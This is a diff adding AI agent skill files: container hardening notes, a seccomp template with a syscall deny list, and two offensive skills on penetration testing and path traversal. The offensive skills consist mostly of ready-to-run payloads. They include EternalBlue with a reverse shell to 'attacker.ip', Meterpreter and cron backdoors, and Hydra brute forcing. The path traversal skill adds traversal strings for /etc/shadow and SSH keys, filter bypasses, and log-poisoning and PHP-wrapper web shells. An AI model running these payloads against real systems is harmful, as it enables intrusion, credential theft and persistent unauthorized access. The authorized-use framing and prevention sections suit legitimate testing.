(user=%user.name container=%container.name + shell=%proc.name parent=%proc.pname) + priority: WARNING + +# Alert on sensitive file read +- rule: Read sensitive file untrusted + desc: An attempt to read a sensitive file by a non-trusted program + condition: > + open_read and sensitive_files + and not proc.name in (trusted_programs) + output: > + Sensitive file opened for reading (file=%fd.name user=%user.name + container=%container.name) + priority: WARNING +``` + +--- + +## Secrets Management in K8s + +**Kubernetes Secrets are base64-encoded, not encrypted by default.** Use one of these: + +| Solution | Mechanism | Best For | +|---|---|---| +| **External Secrets Operator** | Sync from AWS Secrets Manager / GCP Secret Manager / Vault | Production — secrets never live in etcd | +| **Sealed Secrets (Bitnami)** | Asymmetric encryption of secrets in Git | GitOps workflows | +| **HashiCorp Vault** | Dynamic secrets, PKI, lease management | Complex multi-cloud setups | +| **SOPS + Age/GPG** | Encrypted secret files in Git | Small teams, simple workflows | + +```yaml +# External Secrets Operator — sync from AWS Secrets Manager +apiVersion: external-secrets.io/v1beta1 +kind: ExternalSecret +metadata: + name: myapp-db-creds + namespace: production +spec: + refreshInterval: 1h + secretStoreRef: + name: aws-secrets-manager + kind: ClusterSecretStore + target: + name: myapp-db-creds + creationPolicy: Owner + data: + - secretKey: DB_PASSWORD + remoteRef: + key: production/myapp/db + property: password +``` + +```bash +# Enable etcd encryption at rest (K8s) +# In kube-apiserver: --encryption-provider-config=encryption-config.yaml +# encryption-config.yaml: +apiVersion: apiserver.config.k8s.io/v1 +kind: EncryptionConfiguration +resources: + - resources: [secrets] + providers: + - aescbc: + keys: + - name: key1 + secret: + - identity: {} +``` diff --git a/skills/container-security-hardening/references/seccomp-profile-template.json b/skills/container-security-hardening/references/seccomp-profile-template.json new file mode 100644 index 0000000000000000000000000000000000000000..bdc14e666a8e716e67b7d85af1c1ee19f62bd9e3 --- /dev/null +++ b/skills/container-security-hardening/references/seccomp-profile-template.json @@ -0,0 +1,337 @@ +{ + "_comment": "Minimal seccomp profile for a typical web server container (HTTP/HTTPS, TCP, file I/O). Default action: DENY everything not explicitly listed. Start here and add syscalls as your app requires them. Use 'strace -c ' or 'sysdig' to discover which syscalls your app actually makes in production.", + "_usage": { + "docker_run": "docker run --security-opt seccomp=seccomp-profile-template.json myapp:latest", + "docker_compose": "security_opt:\n - seccomp:./references/seccomp-profile-template.json", + "kubernetes": "securityContext:\n seccompProfile:\n type: Localhost\n localhostProfile: profiles/seccomp-profile-template.json" + }, + "_discover_syscalls": { + "with_strace": "strace -c -f -p # Attach to running process", + "with_docker": "docker run --security-opt seccomp=unconfined --name audit myapp:latest", + "with_sysdig": "sysdig -p '%syscall.type' container.name=audit | sort -u" + }, + "defaultAction": "SCMP_ACT_ERRNO", + "architectures": [ + "SCMP_ARCH_X86_64", + "SCMP_ARCH_X86", + "SCMP_ARCH_X32", + "SCMP_ARCH_AARCH64" + ], + "syscalls": [ + { + "_group": "Process lifecycle", + "names": [ + "execve", + "execveat", + "exit", + "exit_group", + "clone", + "clone3", + "fork", + "vfork", + "wait4", + "waitid", + "getpid", + "getppid", + "gettid", + "tgkill", + "kill", + "tkill", + "sched_yield", + "sched_getaffinity", + "sched_setaffinity", + "prctl", + "arch_prctl", + "seccomp", + "nanosleep", + "clock_nanosleep", + "pause" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "File I/O", + "names": [ + "open", + "openat", + "openat2", + "close", + "close_range", + "read", + "readv", + "pread64", + "write", + "writev", + "pwrite64", + "lseek", + "fstat", + "fstat64", + "stat", + "stat64", + "lstat", + "lstat64", + "statx", + "newfstatat", + "access", + "faccessat", + "faccessat2", + "readlink", + "readlinkat", + "getcwd", + "getdents", + "getdents64", + "dup", + "dup2", + "dup3", + "sendfile", + "sendfile64", + "splice", + "copy_file_range", + "truncate", + "ftruncate", + "fsync", + "fdatasync", + "sync_file_range", + "fallocate", + "fadvise64", + "mknod", + "mknodat", + "mkdir", + "mkdirat", + "rmdir", + "unlink", + "unlinkat", + "rename", + "renameat", + "renameat2", + "chmod", + "fchmod", + "fchmodat", + "chown", + "fchown", + "lchown", + "fchownat", + "utimes", + "utimensat", + "futimesat", + "inotify_init", + "inotify_init1", + "inotify_add_watch", + "inotify_rm_watch" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "Memory management", + "names": [ + "brk", + "mmap", + "mmap2", + "munmap", + "mremap", + "mprotect", + "madvise", + "mlock", + "munlock", + "mlockall", + "munlockall", + "mincore", + "msync", + "memfd_create", + "remap_file_pages" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "Networking (TCP/UDP server)", + "names": [ + "socket", + "socketpair", + "bind", + "listen", + "accept", + "accept4", + "connect", + "getsockname", + "getpeername", + "setsockopt", + "getsockopt", + "sendto", + "sendmsg", + "sendmmsg", + "recvfrom", + "recvmsg", + "recvmmsg", + "shutdown", + "poll", + "ppoll", + "select", + "pselect6", + "epoll_create", + "epoll_create1", + "epoll_ctl", + "epoll_wait", + "epoll_pwait", + "epoll_pwait2", + "pipe", + "pipe2", + "eventfd", + "eventfd2" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "Signals", + "names": [ + "rt_sigaction", + "rt_sigprocmask", + "rt_sigreturn", + "rt_sigsuspend", + "rt_sigpending", + "rt_sigtimedwait", + "rt_sigqueueinfo", + "rt_tgsigqueueinfo", + "sigaltstack", + "signalfd", + "signalfd4", + "sigreturn", + "setitimer", + "getitimer", + "timer_create", + "timer_settime", + "timer_gettime", + "timer_getoverrun", + "timer_delete", + "timerfd_create", + "timerfd_settime", + "timerfd_gettime" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "Identity / user management (read-only)", + "names": [ + "getuid", + "getuid32", + "getgid", + "getgid32", + "geteuid", + "geteuid32", + "getegid", + "getegid32", + "getresuid", + "getresuid32", + "getresgid", + "getresgid32", + "getgroups", + "getgroups32", + "capget" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "System info / time", + "names": [ + "uname", + "sysinfo", + "getrlimit", + "setrlimit", + "prlimit64", + "getrusage", + "clock_gettime", + "clock_gettime64", + "clock_getres", + "clock_adjtime", + "gettimeofday", + "time" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "I/O multiplexing / async I/O", + "names": [ + "io_setup", + "io_submit", + "io_getevents", + "io_cancel", + "io_destroy", + "io_uring_setup", + "io_uring_enter", + "io_uring_register" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "File descriptor management", + "names": [ + "fcntl", + "fcntl64", + "ioctl", + "flock", + "sync" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "Futex (thread synchronization)", + "names": [ + "futex", + "futex_time64", + "futex_waitv", + "set_robust_list", + "get_robust_list", + "set_tid_address" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "Miscellaneous safe syscalls", + "names": [ + "getrandom", + "umask", + "chdir", + "fchdir", + "symlink", + "symlinkat", + "link", + "linkat" + ], + "action": "SCMP_ACT_ALLOW" + }, + { + "_group": "EXPLICITLY BLOCKED — comment out only with documented justification", + "_blocked_reason": "These syscalls are dangerous and should never be needed by a web server. Do not uncomment without a security review.", + "names": [], + "action": "SCMP_ACT_ERRNO", + "_examples_that_should_stay_blocked": [ + "ptrace -- debug/trace processes; allows container escape", + "kexec_load -- load a new kernel; always block", + "kexec_file_load-- load a new kernel; always block", + "mount -- mount filesystems; always block in containers", + "umount -- unmount filesystems", + "umount2 -- unmount filesystems", + "swapon -- manage swap", + "swapoff -- manage swap", + "reboot -- reboot/halt system", + "syslog -- read/clear kernel message ring buffer", + "bpf -- load eBPF programs; high privilege", + "perf_event_open-- access hardware perf counters", + "init_module -- load kernel modules", + "finit_module -- load kernel modules", + "delete_module -- unload kernel modules", + "create_module -- create loadable modules", + "query_module -- query module info", + "get_kernel_syms-- deprecated kernel symbol query", + "nfsservctl -- NFS server control", + "pivot_root -- change root filesystem", + "settimeofday -- set system clock (use capabilities instead)", + "adjtimex -- tune kernel clock", + "acct -- enable/disable process accounting", + "setdomainname -- set domain name", + "sethostname -- set hostname", + "setns -- join a namespace (container escape risk)", + "unshare -- disassociate namespace (container escape risk)" + ] + } + ] +} diff --git a/skills/ethical-hacking-methodology/SKILL.md b/skills/ethical-hacking-methodology/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..bc0f2543b942b6efde1adf072a03a2c9b5210dec --- /dev/null +++ b/skills/ethical-hacking-methodology/SKILL.md @@ -0,0 +1,472 @@ +--- +name: ethical-hacking-methodology +description: "Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized penetration testing engagements, defensive validation, or controlled educational environments. + +# Ethical Hacking Methodology + +## Purpose + +Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments. + +## Prerequisites + +### Required Environment +- Kali Linux installed (persistent or live) +- Network access to authorized targets +- Written authorization from system owner + +### Required Knowledge +- Basic networking concepts +- Linux command-line proficiency +- Understanding of web technologies +- Familiarity with security concepts + +## Outputs and Deliverables + +1. **Reconnaissance Report** - Target information gathered +2. **Vulnerability Assessment** - Identified weaknesses +3. **Exploitation Evidence** - Proof of concept attacks +4. **Final Report** - Executive and technical findings + +## Core Workflow + +### Phase 1: Understanding Hacker Types + +Classification of security professionals: + +**White Hat Hackers (Ethical Hackers)** +- Authorized security professionals +- Conduct penetration testing with permission +- Goal: Identify and fix vulnerabilities +- Also known as: penetration testers, security consultants + +**Black Hat Hackers (Malicious)** +- Unauthorized system intrusions +- Motivated by profit, revenge, or notoriety +- Goal: Steal data, cause damage +- Also known as: crackers, criminal hackers + +**Grey Hat Hackers (Hybrid)** +- May cross ethical boundaries +- Not malicious but may break rules +- Often disclose vulnerabilities publicly +- Mixed motivations + +**Other Classifications** +- **Script Kiddies**: Use pre-made tools without understanding +- **Hacktivists**: Politically or socially motivated +- **Nation State**: Government-sponsored operatives +- **Coders**: Develop tools and exploits + +### Phase 2: Reconnaissance + +Gather information without direct system interaction: + +**Passive Reconnaissance** +```bash +# WHOIS lookup +whois target.com + +# DNS enumeration +nslookup target.com +dig target.com ANY +dig target.com MX +dig target.com NS + +# Subdomain discovery +dnsrecon -d target.com + +# Email harvesting +theHarvester -d target.com -b all +``` + +**Google Hacking (OSINT)** +``` +# Find exposed files +site:target.com filetype:pdf +site:target.com filetype:xls +site:target.com filetype:doc + +# Find login pages +site:target.com inurl:login +site:target.com inurl:admin + +# Find directory listings +site:target.com intitle:"index of" + +# Find configuration files +site:target.com filetype:config +site:target.com filetype:env +``` + +**Google Hacking Database Categories:** +- Files containing passwords +- Sensitive directories +- Web server detection +- Vulnerable servers +- Error messages +- Login portals + +**Social Media Reconnaissance** +- LinkedIn: Organizational charts, technologies used +- Twitter: Company announcements, employee info +- Facebook: Personal information, relationships +- Job postings: Technology stack revelations + +### Phase 3: Scanning + +Active enumeration of target systems: + +**Host Discovery** +```bash +# Ping sweep +nmap -sn 192.168.1.0/24 + +# ARP scan (local network) +arp-scan -l + +# Discover live hosts +nmap -sP 192.168.1.0/24 +``` + +**Port Scanning** +```bash +# TCP SYN scan (stealth) +nmap -sS target.com + +# Full TCP connect scan +nmap -sT target.com + +# UDP scan +nmap -sU target.com + +# All ports scan +nmap -p- target.com + +# Top 1000 ports with service detection +nmap -sV target.com + +# Aggressive scan (OS, version, scripts) +nmap -A target.com +``` + +**Service Enumeration** +```bash +# Specific service scripts +nmap --script=http-enum target.com +nmap --script=smb-enum-shares target.com +nmap --script=ftp-anon target.com + +# Vulnerability scanning +nmap --script=vuln target.com +``` + +**Common Port Reference** +| Port | Service | Notes | +|------|---------|-------| +| 21 | FTP | File transfer | +| 22 | SSH | Secure shell | +| 23 | Telnet | Unencrypted remote | +| 25 | SMTP | Email | +| 53 | DNS | Name resolution | +| 80 | HTTP | Web | +| 443 | HTTPS | Secure web | +| 445 | SMB | Windows shares | +| 3306 | MySQL | Database | +| 3389 | RDP | Remote desktop | + +### Phase 4: Vulnerability Analysis + +Identify exploitable weaknesses: + +**Automated Scanning** +```bash +# Nikto web scanner +nikto -h http://target.com + +# OpenVAS (command line) +omp -u admin -w password --xml="" + +# Nessus (via API) +nessuscli scan --target target.com +``` + +**Web Application Testing (OWASP)** +- SQL Injection +- Cross-Site Scripting (XSS) +- Broken Authentication +- Security Misconfiguration +- Sensitive Data Exposure +- XML External Entities (XXE) +- Broken Access Control +- Insecure Deserialization +- Using Components with Known Vulnerabilities +- Insufficient Logging & Monitoring + +**Manual Techniques** +```bash +# Directory brute forcing +gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt + +# Subdomain enumeration +gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt + +# Web technology fingerprinting +whatweb target.com +``` + +### Phase 5: Exploitation + +Actively exploit discovered vulnerabilities: + +**Metasploit Framework** +```bash +# Start Metasploit +msfconsole + +# Search for exploits +msf> search type:exploit name:smb + +# Use specific exploit +msf> use exploit/windows/smb/ms17_010_eternalblue + +# Set target +msf> set RHOSTS target.com + +# Set payload +msf> set PAYLOAD windows/meterpreter/reverse_tcp +msf> set LHOST attacker.ip + +# Execute +msf> exploit +``` + +**Password Attacks** +```bash +# Hydra brute force +hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com +hydra -L users.txt -P passwords.txt ftp://target.com + +# John the Ripper +john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt +``` + +**Web Exploitation** +```bash +# SQLMap for SQL injection +sqlmap -u "http://target.com/page.php?id=1" --dbs +sqlmap -u "http://target.com/page.php?id=1" -D database --tables + +# XSS testing +# Manual: + +# Command injection testing +# ; ls -la +# | cat /etc/passwd +``` + +### Phase 6: Maintaining Access + +Establish persistent access: + +**Backdoors** +```bash +# Meterpreter persistence +meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip + +# SSH key persistence +# Add attacker's public key to ~/.ssh/authorized_keys + +# Cron job persistence +echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab +``` + +**Privilege Escalation** +```bash +# Linux enumeration +linpeas.sh +linux-exploit-suggester.sh + +# Windows enumeration +winpeas.exe +windows-exploit-suggester.py + +# Check SUID binaries (Linux) +find / -perm -4000 2>/dev/null + +# Check sudo permissions +sudo -l +``` + +**Covering Tracks (Ethical Context)** +- Document all actions taken +- Maintain logs for reporting +- Avoid unnecessary system changes +- Clean up test files and backdoors + +### Phase 7: Reporting + +Document findings professionally: + +**Report Structure** +1. **Executive Summary** + - High-level findings + - Business impact + - Risk ratings + - Remediation priorities + +2. **Technical Findings** + - Vulnerability details + - Proof of concept + - Screenshots/evidence + - Affected systems + +3. **Risk Ratings** + - Critical: Immediate action required + - High: Address within 24-48 hours + - Medium: Address within 1 week + - Low: Address within 1 month + - Informational: Best practice recommendations + +4. **Remediation Recommendations** + - Specific fixes for each finding + - Short-term mitigations + - Long-term solutions + - Resource requirements + +5. **Appendices** + - Detailed scan outputs + - Tool configurations + - Testing timeline + - Scope and methodology + +### Phase 8: Common Attack Types + +**Phishing** +- Email-based credential theft +- Fake login pages +- Malicious attachments +- Social engineering component + +**Malware Types** +- **Virus**: Self-replicating, needs host file +- **Worm**: Self-propagating across networks +- **Trojan**: Disguised as legitimate software +- **Ransomware**: Encrypts files for ransom +- **Rootkit**: Hidden system-level access +- **Spyware**: Monitors user activity + +**Network Attacks** +- Man-in-the-Middle (MITM) +- ARP Spoofing +- DNS Poisoning +- DDoS (Distributed Denial of Service) + +### Phase 9: Kali Linux Setup + +Install penetration testing platform: + +**Hard Disk Installation** +1. Download ISO from kali.org +2. Boot from installation media +3. Select "Graphical Install" +4. Configure language, location, keyboard +5. Set hostname and root password +6. Partition disk (Guided - use entire disk) +7. Install GRUB bootloader +8. Reboot and login + +**Live USB (Persistent)** +```bash +# Create bootable USB +dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress + +# Create persistence partition +gparted /dev/sdb +# Add ext4 partition labeled "persistence" + +# Configure persistence +mkdir /mnt/usb +mount /dev/sdb2 /mnt/usb +echo "/ union" > /mnt/usb/persistence.conf +umount /mnt/usb +``` + +### Phase 10: Ethical Guidelines + +**Legal Requirements** +- Obtain written authorization +- Define scope clearly +- Document all testing activities +- Report all findings to client +- Maintain confidentiality + +**Professional Conduct** +- Work ethically with integrity +- Respect privacy of data accessed +- Avoid unnecessary system damage +- Execute planned tests only +- Never use findings for personal gain + +## Quick Reference + +### Penetration Testing Lifecycle + +| Stage | Purpose | Key Tools | +|-------|---------|-----------| +| Reconnaissance | Gather information | theHarvester, WHOIS, Google | +| Scanning | Enumerate targets | Nmap, Nikto, Gobuster | +| Exploitation | Gain access | Metasploit, SQLMap, Hydra | +| Maintaining Access | Persistence | Meterpreter, SSH keys | +| Reporting | Document findings | Report templates | + +### Essential Commands + +| Command | Purpose | +|---------|---------| +| `nmap -sV target` | Port and service scan | +| `nikto -h target` | Web vulnerability scan | +| `msfconsole` | Start Metasploit | +| `hydra -l user -P list ssh://target` | SSH brute force | +| `sqlmap -u "url?id=1" --dbs` | SQL injection | + +## Constraints and Limitations + +### Authorization Required +- Never test without written permission +- Stay within defined scope +- Report unauthorized access attempts + +### Professional Standards +- Follow rules of engagement +- Maintain client confidentiality +- Document methodology used +- Provide actionable recommendations + +## Troubleshooting + +### Scans Blocked + +**Solutions:** +1. Use slower scan rates +2. Try different scanning techniques +3. Use proxy or VPN +4. Fragment packets + +### Exploits Failing + +**Solutions:** +1. Verify target vulnerability exists +2. Check payload compatibility +3. Adjust exploit parameters +4. Try alternative exploits + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/file-path-traversal/SKILL.md b/skills/file-path-traversal/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..b5745a05e16111cd8a58b60b110b03398881a425 --- /dev/null +++ b/skills/file-path-traversal/SKILL.md @@ -0,0 +1,492 @@ +--- +name: file-path-traversal +description: "Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + +# File Path Traversal Testing + +## Purpose + +Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation. + +## Prerequisites + +### Required Tools +- Web browser with developer tools +- Burp Suite or OWASP ZAP +- cURL for testing payloads +- Wordlists for automation +- ffuf or wfuzz for fuzzing + +### Required Knowledge +- HTTP request/response structure +- Linux and Windows filesystem layout +- Web application architecture +- Basic understanding of file APIs + +## Outputs and Deliverables + +1. **Vulnerability Report** - Identified traversal points and severity +2. **Exploitation Proof** - Extracted file contents +3. **Impact Assessment** - Accessible files and data exposure +4. **Remediation Guidance** - Secure coding recommendations + +## Core Workflow + +### Phase 1: Understanding Path Traversal + +Path traversal occurs when applications use user input to construct file paths: + +```php +// Vulnerable PHP code example +$template = "blue.php"; +if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) { + $template = $_COOKIE['template']; +} +include("/home/user/templates/" . $template); +``` + +Attack principle: +- `../` sequence moves up one directory +- Chain multiple sequences to reach root +- Access files outside intended directory + +Impact: +- **Confidentiality** - Read sensitive files +- **Integrity** - Write/modify files (in some cases) +- **Availability** - Delete files (in some cases) +- **Code Execution** - If combined with file upload or log poisoning + +### Phase 2: Identifying Traversal Points + +Map application for potential file operations: + +```bash +# Parameters that often handle files +?file= +?path= +?page= +?template= +?filename= +?doc= +?document= +?folder= +?dir= +?include= +?src= +?source= +?content= +?view= +?download= +?load= +?read= +?retrieve= +``` + +Common vulnerable functionality: +- Image loading: `/image?filename=23.jpg` +- Template selection: `?template=blue.php` +- File downloads: `/download?file=report.pdf` +- Document viewers: `/view?doc=manual.pdf` +- Include mechanisms: `?page=about` + +### Phase 3: Basic Exploitation Techniques + +#### Simple Path Traversal + +```bash +# Basic Linux traversal +../../../etc/passwd +../../../../etc/passwd +../../../../../etc/passwd +../../../../../../etc/passwd + +# Windows traversal +..\..\..\windows\win.ini +..\..\..\..\windows\system32\drivers\etc\hosts + +# URL encoded +..%2F..%2F..%2Fetc%2Fpasswd +..%252F..%252F..%252Fetc%252Fpasswd # Double encoding + +# Test payloads with curl +curl "http://target.com/image?filename=../../../etc/passwd" +curl "http://target.com/download?file=....//....//....//etc/passwd" +``` + +#### Absolute Path Injection + +```bash +# Direct absolute path (Linux) +/etc/passwd +/etc/shadow +/etc/hosts +/proc/self/environ + +# Direct absolute path (Windows) +C:\windows\win.ini +C:\windows\system32\drivers\etc\hosts +C:\boot.ini +``` + +### Phase 4: Bypass Techniques + +#### Bypass Stripped Traversal Sequences + +```bash +# When ../ is stripped once +....//....//....//etc/passwd +....\/....\/....\/etc/passwd + +# Nested traversal +..././..././..././etc/passwd +....//....//etc/passwd + +# Mixed encoding +..%2f..%2f..%2fetc/passwd +%2e%2e/%2e%2e/%2e%2e/etc/passwd +%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd +``` + +#### Bypass Extension Validation + +```bash +# Null byte injection (older PHP versions) +../../../etc/passwd%00.jpg +../../../etc/passwd%00.png + +# Path truncation +../../../etc/passwd............................... + +# Double extension +../../../etc/passwd.jpg.php +``` + +#### Bypass Base Directory Validation + +```bash +# When path must start with expected directory +/var/www/images/../../../etc/passwd + +# Expected path followed by traversal +images/../../../etc/passwd +``` + +#### Bypass Blacklist Filters + +```bash +# Unicode/UTF-8 encoding +..%c0%af..%c0%af..%c0%afetc/passwd +..%c1%9c..%c1%9c..%c1%9cetc/passwd + +# Overlong UTF-8 encoding +%c0%2e%c0%2e%c0%af + +# URL encoding variations +%2e%2e/ +%2e%2e%5c +..%5c +..%255c + +# Case variations (Windows) +....\\....\\etc\\passwd +``` + +### Phase 5: Linux Target Files + +High-value files to target: + +```bash +# System files +/etc/passwd # User accounts +/etc/shadow # Password hashes (root only) +/etc/group # Group information +/etc/hosts # Host mappings +/etc/hostname # System hostname +/etc/issue # System banner + +# SSH files +/root/.ssh/id_rsa # Root private key +/root/.ssh/authorized_keys # Authorized keys +/home//.ssh/id_rsa # User private keys +/etc/ssh/sshd_config # SSH configuration + +# Web server files +/etc/apache2/apache2.conf +/etc/nginx/nginx.conf +/etc/apache2/sites-enabled/000-default.conf +/var/log/apache2/access.log +/var/log/apache2/error.log +/var/log/nginx/access.log + +# Application files +/var/www/html/config.php +/var/www/html/wp-config.php +/var/www/html/.htaccess +/var/www/html/web.config + +# Process information +/proc/self/environ # Environment variables +/proc/self/cmdline # Process command line +/proc/self/fd/0 # File descriptors +/proc/version # Kernel version + +# Common application configs +/etc/mysql/my.cnf +/etc/postgresql/*/postgresql.conf +/opt/lampp/etc/httpd.conf +``` + +### Phase 6: Windows Target Files + +Windows-specific targets: + +```bash +# System files +C:\windows\win.ini +C:\windows\system.ini +C:\boot.ini +C:\windows\system32\drivers\etc\hosts +C:\windows\system32\config\SAM +C:\windows\repair\SAM + +# IIS files +C:\inetpub\wwwroot\web.config +C:\inetpub\logs\LogFiles\W3SVC1\ + +# Configuration files +C:\xampp\apache\conf\httpd.conf +C:\xampp\mysql\data\mysql\user.MYD +C:\xampp\passwords.txt +C:\xampp\phpmyadmin\config.inc.php + +# User files +C:\Users\\.ssh\id_rsa +C:\Users\\Desktop\ +C:\Documents and Settings\\ +``` + +### Phase 7: Automated Testing + +#### Using Burp Suite + +``` +1. Capture request with file parameter +2. Send to Intruder +3. Mark file parameter value as payload position +4. Load path traversal wordlist +5. Start attack +6. Filter responses by size/content for success +``` + +#### Using ffuf + +```bash +# Basic traversal fuzzing +ffuf -u "http://target.com/image?filename=FUZZ" \ + -w /usr/share/wordlists/traversal.txt \ + -mc 200 + +# Fuzzing with encoding +ffuf -u "http://target.com/page?file=FUZZ" \ + -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ + -mc 200,500 -ac +``` + +#### Using wfuzz + +```bash +# Traverse to /etc/passwd +wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ + --hc 404 \ + "http://target.com/index.php?file=FUZZ" + +# With headers/cookies +wfuzz -c -z file,traversal.txt \ + -H "Cookie: session=abc123" \ + "http://target.com/load?path=FUZZ" +``` + +### Phase 8: LFI to RCE Escalation + +#### Log Poisoning + +```bash +# Inject PHP code into logs +curl -A "" http://target.com/ + +# Include Apache log file +curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" + +# Include auth.log (SSH) +# First: ssh ''@target.com +curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" +``` + +#### Proc/self/environ + +```bash +# Inject via User-Agent +curl -A "" \ + "http://target.com/page?file=/proc/self/environ" + +# With command parameter +curl -A "" \ + "http://target.com/page?file=/proc/self/environ&c=whoami" +``` + +#### PHP Wrapper Exploitation + +```bash +# php://filter - Read source code as base64 +curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" + +# php://input - Execute POST data as PHP +curl -X POST -d "" \ + "http://target.com/page?file=php://input" + +# data:// - Execute inline PHP +curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" + +# expect:// - Execute system commands +curl "http://target.com/page?file=expect://id" +``` + +### Phase 9: Testing Methodology + +Structured testing approach: + +```bash +# Step 1: Identify potential parameters +# Look for file-related functionality + +# Step 2: Test basic traversal +../../../etc/passwd + +# Step 3: Test encoding variations +..%2F..%2F..%2Fetc%2Fpasswd +%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd + +# Step 4: Test bypass techniques +....//....//....//etc/passwd +..;/..;/..;/etc/passwd + +# Step 5: Test absolute paths +/etc/passwd + +# Step 6: Test with null bytes (legacy) +../../../etc/passwd%00.jpg + +# Step 7: Attempt wrapper exploitation +php://filter/convert.base64-encode/resource=index.php + +# Step 8: Attempt log poisoning for RCE +``` + +### Phase 10: Prevention Measures + +Secure coding practices: + +```php +// PHP: Use basename() to strip paths +$filename = basename($_GET['file']); +$path = "/var/www/files/" . $filename; + +// PHP: Validate against whitelist +$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf']; +if (in_array($_GET['file'], $allowed)) { + include("/var/www/files/" . $_GET['file']); +} + +// PHP: Canonicalize and verify base path +$base = "/var/www/files/"; +$realBase = realpath($base); +$userPath = $base . $_GET['file']; +$realUserPath = realpath($userPath); + +if ($realUserPath && strpos($realUserPath, $realBase) === 0) { + include($realUserPath); +} +``` + +```python +# Python: Use os.path.realpath() and validate +import os + +def safe_file_access(base_dir, filename): + # Resolve to absolute path + base = os.path.realpath(base_dir) + file_path = os.path.realpath(os.path.join(base, filename)) + + # Verify file is within base directory + if file_path.startswith(base): + return open(file_path, 'r').read() + else: + raise Exception("Access denied") +``` + +## Quick Reference + +### Common Payloads + +| Payload | Target | +|---------|--------| +| `../../../etc/passwd` | Linux password file | +| `..\..\..\..\windows\win.ini` | Windows INI file | +| `....//....//....//etc/passwd` | Bypass simple filter | +| `/etc/passwd` | Absolute path | +| `php://filter/convert.base64-encode/resource=config.php` | Source code | + +### Target Files + +| OS | File | Purpose | +|----|------|---------| +| Linux | `/etc/passwd` | User accounts | +| Linux | `/etc/shadow` | Password hashes | +| Linux | `/proc/self/environ` | Environment vars | +| Windows | `C:\windows\win.ini` | System config | +| Windows | `C:\boot.ini` | Boot config | +| Web | `wp-config.php` | WordPress DB creds | + +### Encoding Variants + +| Type | Example | +|------|---------| +| URL Encoding | `%2e%2e%2f` = `../` | +| Double Encoding | `%252e%252e%252f` = `../` | +| Unicode | `%c0%af` = `/` | +| Null Byte | `%00` | + +## Constraints and Limitations + +### Permission Restrictions +- Cannot read files application user cannot access +- Shadow file requires root privileges +- Many files have restrictive permissions + +### Application Restrictions +- Extension validation may limit file types +- Base path validation may restrict scope +- WAF may block common payloads + +### Testing Considerations +- Respect authorized scope +- Avoid accessing genuinely sensitive data +- Document all successful access + +## Troubleshooting + +| Problem | Solutions | +|---------|-----------| +| No response difference | Try encoding, blind traversal, different files | +| Payload blocked | Use encoding variants, nested sequences, case variations | +| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning | + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/frontend-design/LICENSE.txt b/skills/frontend-design/LICENSE.txt new file mode 100644 index 0000000000000000000000000000000000000000..f433b1a53f5b830a205fd2df78e2b34974656c7b --- /dev/null +++ b/skills/frontend-design/LICENSE.txt @@ -0,0 +1,177 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media 